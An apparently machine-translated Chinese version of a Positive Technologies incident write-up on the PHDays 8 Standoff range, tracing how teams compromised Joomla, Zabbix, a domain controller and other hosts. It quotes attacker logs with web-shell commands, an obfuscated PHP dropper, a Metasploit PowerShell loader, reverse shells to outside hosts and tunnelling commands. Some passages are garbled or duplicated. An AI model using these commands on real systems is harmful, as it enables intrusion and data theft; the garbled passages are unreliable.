积极Hack Days 8的对抗:解析攻击链



因此,下一次“对抗”在“肯定的黑客日”第8天结束了。这次,有一百多人参加了战斗:12支攻击者团队,8支防御者团队以及他们必须进攻和防御的整个城市。

这一次,不仅有攻击者和防御者参加了对峙,我们公司的三种产品都观看了游戏网络上发生的一切:


三种产品均由Positive Technologies安全专家中心(PT ESC)的团队进行监控,该团队监视游戏趋势和事件,以告知专家中心的访客有关此情况。

这是专家和产品团队的首次此类参与,他们展示了自己的最佳方面:太多的数据足以构成一份庞大的报告。 事实证明,SPUTNIK集成商公司的2号办公室和BeHealthy保险公司的1号办公室的网络是最有趣和完整的。 第二办公室很有趣,因为它在SOC RTK的监督下,但没有由一队防御者照顾,它完全被攻击团队砍死。

让我提醒您,除了两个办事处外,这座城市还拥有火力发电厂和变电站,铁路,具有能源回收功能的智能家居以及具有ATM的银行。



游戏基础设施

#1和#2办公室中的事件如何通过MaxPatrol SIEM,PT NAD和PT MultiScanner的视角看待,重点是黑客的技术细节。

游戏网络办公室2的逻辑图:



对攻击团队的寻址是172.31.x.0 / 24,其中x是从1到8的命令编号。实际上,总共有12个团队,但是由于网络的网络基础架构(网络核心在Cisco CSR1000v中进行了仿真)和物理装备,则只能组织8个物理网络接口,这些接口已在整个游戏区域内为团队交换。 因此,在四个网络中,有两个团队。

在Office#2的基础结构中,分配了四个网段:

  • DMZ(100.64.154.0/25);
  • 服务器(10.106.60.0/24);
  • 公司员工(10.106.50.0/24);
  • 防守队员(10.106.82.0/24)。

所有攻击者都可以通过网络访问位于非军事区的节点。 访问这些节点时,NAT命令的实际网络地址来自池100.110.255.0/24,因此对于防御者而言,要弄清楚谁拥有该网络流量或该网络流量并不容易-这可能是12个攻击团队之一或合法的脚本检查者,从与攻击者相同的地址池中检查服务的可维护性。

为了使我们的产品充满游戏基础设施中发生的事件,我们组织了PT NAD中所有网络流量的副本的删除和重定向,并对目标系统的事件进行了扩展审核,并组织了它们向MaxPatrol SIEM的交付。

在我们有关Habr的其他报告中可以找到针对团队的攻击分析。

Joomla(100.64.154.147)


DMZ 2号办公室中的一台服务器是带有Joomla CMS的服务器。 游戏开始几小时后,此服务器受损的最初迹象出现在PT NAD中-从“灰色” IP地址池中填充Web Shell:



如前所述,攻击团队的所有子网都终止在同一ME(Attacker-FW)上,并且在建立与被攻击对象的连接时,攻击者的IP地址已从单个池(100.110.255.0/24)转换为灰色IP地址。 因此,为实现命令攻击的个性化,根据该ME的NAT表,实现了一种网关丰富的方案。 在MP SIEM的框架内,浓缩如下:



这种方法使我们能够确定这次攻击是由1号团队发起的。 但是,由于不同的团队使用相同的地址池,因此我们无法根据特定网络的请求可靠地确定团队的名称,并且出于进一步叙述的目的,我们将通过其网络编号来命名团队。

在尝试了1号命令后一个小时,PT NAD注意到8号命令正在加载另一个Web外壳,其名称为SHE __。Php是由于服务器被黑客入侵还是简单的扫描而导致的-无法可靠地建立,但是在同一8号的几分钟后该命令设置来自非特权用户的ssh会话。





该帐户的密码位于rockyou词典的顶部,并且已匹配。 由于用户是该组的成员,并且有权从根用户那里获得无密码运行命令,因此仅在下午4:00左右才可以访问第8团队的根用户帐户。 我们可以在MP SIEM日志中确信这一点,该日志告诉我们有关以用户用户身份进行的首次登录,然后使用sudo命令进行特权升级。




由于游戏服务器的配置,登录时间可能会相差3个小时。

对抗的第一天晚上,第六队占领了Joomla。 NAD发现利用了一个漏洞,或者说是一项功能 ,该团队通过该功能上传了广为人知的WSO Web Shell并开始与之交互。



100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP 

值得注意的是,这些命令用来填充外壳的脚本,
需要一个管理员帐户,该密码是使用LDAP通过Joomla身份验证机制中的另一个漏洞 CVE-2017-14596为另一个密码选择的:通过更改身份验证LDAP请求,攻击者可以从管理员帐户中快速获取登录名和密码。

半小时后,他们控制了整个系统。



攻击团队使用捕获的机器在第二个SPUTNIK办公室的网络中通过nmap和hping3实用程序进行进一步侦察。 我们可以从MP SIEM数据中了解它们的操作:




DMZ情报局网络2(100.64.154.0/24)和防御者团队网络(10.106.82.0/24)的示例:




在21:17,我们发现OpenVPN客户端已在Joomla服务器上安装并启动。 已与位于莫斯科的服务器195.16.61.229建立连接。 不久之后,我们发现这些动作是由第6团队的成员执行的,因此该团队设法吸引了位于远程站点上的其他计算和人力资源。

与远程站点的所有交互都在受保护的隧道内进行,因此无法确定这种交互的性质及其对游戏的影响程度。 我们只能根据VPN会话的数量和传输的数据量得出间接结论。



但是最有趣的是,团队没有清除痕迹-游戏结束后,我们在ovpn服务器上发现了一个配置,其中包含根证书和个人证书,私钥和密钥所有者的个人数据。 如果使用搜索引擎,以昵称phonexicum来确定所有者的真实身份一点也不困难。 文章末尾可以查看游戏中所有VPN连接的完整地图。

午夜后(记录增加了3个小时),其他有趣的事件开始发展。
Shell /id.php命令#4查找命令#1:

 [15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1 




并立即加强系统,以名称123.php保留WSO Web Shell

 [15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1 




第一个团队一直托管到#4团队,几个小时后才发现此问题,经过简短讨论,将id.php外壳重命名为021371b392f0b42398630fd668adff5d.php

 [16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1 

随后,将021371b392f0b42398630fd668adff5d.php替换为kekekeke.php和kekpek.php

 [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 (BASE64_DECODE(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr( [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 > Kekekeke.php HTTP [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 



2号办公室SPUTNIK的域基础结构中的以下事件与Jumla上发生的事件密切相关。

SPUTNIK(10.106.60.0/24)


刺穿Joomla之后,攻击者可以访问SPUTNIK基础结构的内部部分(Office#2)。 三思而后行,MS17-010漏洞利用程序飞向了域控制器WIN2008R2-DC.domain2.phd(10.106.60.10)。



通过MP SIEM的触发器,可以方便地观察其他事件的时间顺序:




攻击者的第一步是创建一个名为“ username”和密码“ 1qazzaq!”的用户。 并将其添加到本地管理员组中(屏幕2)。 成功利用MS17-010中的漏洞可授予NT-Authority \ System特权访问,在Windows日志中,此类访问显示为win2008r2-dc $。





代表新用户创建运行某些Powershell脚本的几个服务:

 %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"" 


该脚本由Metasploit框架生成。 它的目的是打开端口55443上的套接字以进行侦听,并运行到达此端口的“有效负载”(大概是Meterpreter)。



尝试启动远程外壳程序成功。 此后,攻击者继续进行攻击,用户名创建了另一个名为“ vitalik”的帐户,将该帐户添加到“ Domain Admins”组中,创建后不久,我们看到了交互式登录。






当vitalik使用与用户名相同的powershell脚本创建服务时,用户名大量重置了域帐户密码,并对相邻的Win2008R2-EXCH域邮件服务器产生了兴趣。

用户名和vitalik用户在Exchange域服务器上几乎同时活动(扫描和登录)表明,很可能有几个团队成员同时检查了SPUTNIK网络。





vitalik在交互式登录后检查邮件服务器的可用性并启动服务器管理控制台。




一无所获,他将仪器和重型火炮拖到Win2008R2-DC主机上-大量Powershell脚本和BloodHound框架出现在域控制器上,这是Active Directory网络中侦察的一种流行工具。 要访问BloodHound Web界面,参与者必须禁用IE中的保护模式,SIEM也检测到该模式。



网络上的BloodHound活动未通过PT NAD。 该工具的功能之一是扫描网络上的主机以查找活动连接。 PT NAD签名之一检测到此类到SRVSVC服务的流量,并指示网络内部的智能:



攻击者大约在凌晨一时使用vssadmin实用程序创建了磁盘的卷影副本,然后拖动了包含所有域帐户的ntds.dit数据库。 成功完成此攻击后,攻击者将完全控制该域,并接收可支配的特殊帐户“ krbtgt”的哈希值。 拥有此帐户使您可以创建和使用所谓的。 黄金票证-Kerberos票证,用于无限访问域中的资源,代表任何现有甚至不存在的用户访问服务器以及域中的任何操作。 使用防护设备很难检测到使用Golden Ticket,但是破坏krbtgt和ntds.dit链接则更容易检测。





该团队正逐步从领域研究转移到研究已开放的自动化过程控制系统网络。 将Nmap扫描仪拖到SPUTNIK员工YLAVRENTIEV.sputnik.phd和EPONOMAREV.sputnik.phd之后,对网络进行了172.20.xx扫描。




通过SPUTNIK域主机上的隧道与网络自动过程控制系统中的主机的连接可以说明一切。 在YouTube上我们同事的视频中可以找到有关黑客在工业网络上所做的工作的描述。

在攻击者的其他成就中,其他隧道,ssh会话,比赛第一天不眠之夜后的创造性突破,当然,还发现了开采DDOS硬币的知名矿工。

ZABBIX(100.64.100.161)


位于DMZ#1办公室,并自豪地履行了自己的职责,直到中午大约它被一个身份不明的团队入侵。



找到管理员凭据并不难,该团队使用内置的zabbix功能使用自定义脚本无限扩展监视功能。



您可以在脚本中使用任何Linux命令,这是成员团队用来创建Shell和Socks代理的工具。

 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 

该小组尝试在195.16.61.232控制下从服务器下载模块,但无济于事:



然后,在对环境进行了一些探索之后,我在同一台服务器上使用标准linux工具安装了一个远程bash shell,将数据包直接发送到/ dev / tcp /。

团队与炮弹之间交通的内容也同样引起人们的兴趣,这些内容是明文传输的,没有被PT NAD传感器通过。

 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 & 

如我们所见,ZABBIX服务器主要用作侦查办公室子网1:10.100.50.0/24(用户),10.100.60.0 / 24(服务器)和10.100.80.0/24(SecurityTeam)的桥头堡。

多服务器(100.64.100.167)


Multiserver是DMZ 1号办公室中的另一台Linux主机,带有一对HTTP服务器和一个MySQL数据库。 尽管对多服务器进行了深入的扫描,但只有少数成功的攻击。 主机包含2017年SambaCry漏洞,该漏洞是在MS17-010漏洞之后发现的,并且团队尝试使用此漏洞。 PT NAD过滤器使您可以在时间轴上定位他们的尝试:



DTECJtAf.so可执行库是命令3的尝试之一中的负载。 并且,根据库的名称判断,团队成员使用了Metasploit框架中的is_known_pipename模块。 证明:



在对抗期间,PT MultiScanner协助专家,检查了PT NAD注意到的所有通过网络飞行的文件。 过了一会儿,他向DTECJtAf.so发布了裁决,因此通过网络:Linux / SmbPayload.C



从服务器和命令3之间缺乏进一步的网络交互来判断,该利用没有带来成功。 但是,几乎同时,我们看到了第4组的活动SSH会话。 通过传输的流量,我们可以判断出攻击者充分利用了服务器。



一般而言,第4团队的管理员用户首次成功进行SSH登录是在比赛第一天的下午3:20左右:



像其他任何体面的攻击者一样,登录后会在主机上进行特权检查和侦察:







还有:






轻松地,我们按语言进行攻击者的归因:



多服务器未收到正确的配置,因此无法确定团队进行了哪些其他尝试。 从可用日志来看,此主机以及DMZ 1号办公室中的其他主机是探索办公室内部基础结构的起点。

失误


其他主持人也已成为团队关注的焦点。 例如,在Office#1的DMZ网络中,参与者相对于100.64.100.237的Mikrotik路由器表现出好奇。 在对峙的第二天凌晨2点左右,成功登录Telnet路由器的控制台控制台,并带有“ admin:VxPvRxX74e8xrbia77hsi7WKm”对。 设备的固件版本为6.38.4-这是对著名的Mikrotik的Chimay Red Stack Clash漏洞进行测试的版本,该漏洞允许在设备上执行任何代码,尤其是在路由器上提取用户密码。 PT NAD发现了一个利用漏洞。

但是随后,在午餐区,率先使用路由器的团队决定通过简单的固件更新来关闭漏洞并垄断访问权限:



这是几个参与者团队关闭系统漏洞以便其他团队无法捕获此主机的少数示例之一。

PT MultiScanner检测到一个奇怪的事件:



要访问银行,团队可以使用该站点上可用的银行客户。 该站点在一组防御者的监督下位于银行网络中,他们使用Metasploit框架构建了客户,并用原始框架替代了它。 对于防御者来说幸运的是,内置客户端是由多个团队下载的,正如我们在上面的PT MultiScanner的屏幕截图中所看到的。 没有发现成功的连接,但值得一提的是,这种情况是在日常生活中发生的-攻击者在官方网站上的Trojan程序或替换更新以对客户端发起攻击。

矿工


僵持局的另一项创新是游戏矿工的出现。 根据传说,团队可以将捕获的服务器用作矿工,从而为他们带来加分。 他们开采了DDoS硬币,而不是传统的加密货币-相当于在服务器上进行DDoS攻击所花费的精力。 TLS 1.2握手中的数据用作工作量证明,并且矿工与目标服务器进行TLS握手的次数越多,他发现新区块并从DDoS攻击组织者那里获得奖励的可能性就越高。

该客户端是用Go编写的,可以在Windows和Linux上运行。 这个想法是首次应用的,尽管并非所有团队都设法应用了该想法,但在游戏基础架构的许多服务器上都可以看到尝试启动该想法的信息:



尝试在Joomla节点上运行矿机(100.64.154.147)



从SPUTNIK基础架构运行矿机(10.106.60.0/24)



作为游戏的一部分,团队可以挖掘加密货币并将其交换为游戏点。 一半的团队设法使用先前捕获的服务器来提取块。 游戏逻辑中还有一个交换组件-开采的货币数量急剧变化,其汇率下降了。 因此,可以在不完成基本任务的情况下进行投机操作并获得积分。 但是由于这种想法以前并未在此类游戏中应用,因此各个团队无法正确使用它,并且不会显着影响游戏过程。

在开采的区块数量上,哈萨克斯坦CARKA团队率先,这是第一个在游戏基础设施上启动矿工的团队。 在这里,我们能够从团队的网络编号转移到他们的姓名,这是因为以下事实:他们的标识符包括有关该区块的信息,并在计算时将它们考虑在内。 总的来说,这个想法被证明是很好的,并且可以肯定在下一次“僵持”中可以看到。

代替输出


上次僵持不下-12个团队积极探索并入侵了城市的基础设施。 我们的产品使我们能够“监视”游戏参与者的确切举动,他们选择的战术和工具以及成为目标的东西。 我们目睹了他们如何与办公室的域基础结构进行交互,从一台机器被感染开始,到整个域被没收,然后过渡到下一个ACS网络。 在类似“僵局”的活动中,产品承受了巨大的负担:MaxPatrol SIEM应付了20,000 EPS,而PT NAD在两天内处理了超过3 TB的网络流量,更不用说网络基础设施本身了:路由器,交换机和防火墙。

如果没有适当的保护和控制手段,虚拟办公室的这种折衷可能会与真实办公室发生。 通常,这导致有价值数据的泄漏,例如员工/用户的信件,财务数据和个人数据。

在无休止的扫描,粗暴和利用各种漏洞的尝试中,这些产品有助于确定如何对游戏基础架构服务器进行黑客攻击。 确定了成功的攻击和成功破坏的痕迹,例如Web Shell,远程控制台,隧道和主机登录。 所有这些都有助于专家改进产品。



在此游戏中各个团队的VPN连接统计数据的屏幕截图中,您可以看到“僵局”的国际化程度:VPN连接是在美国,哈萨克斯坦,荷兰和欧洲一半的国家与服务器建立的! 顺便说一句,在僵局中没有来自美国或欧洲的球队,但是有来自哈萨克斯坦的一支球队。

Source: https://habr.com/ru/post/zh-CN418335/


All Articles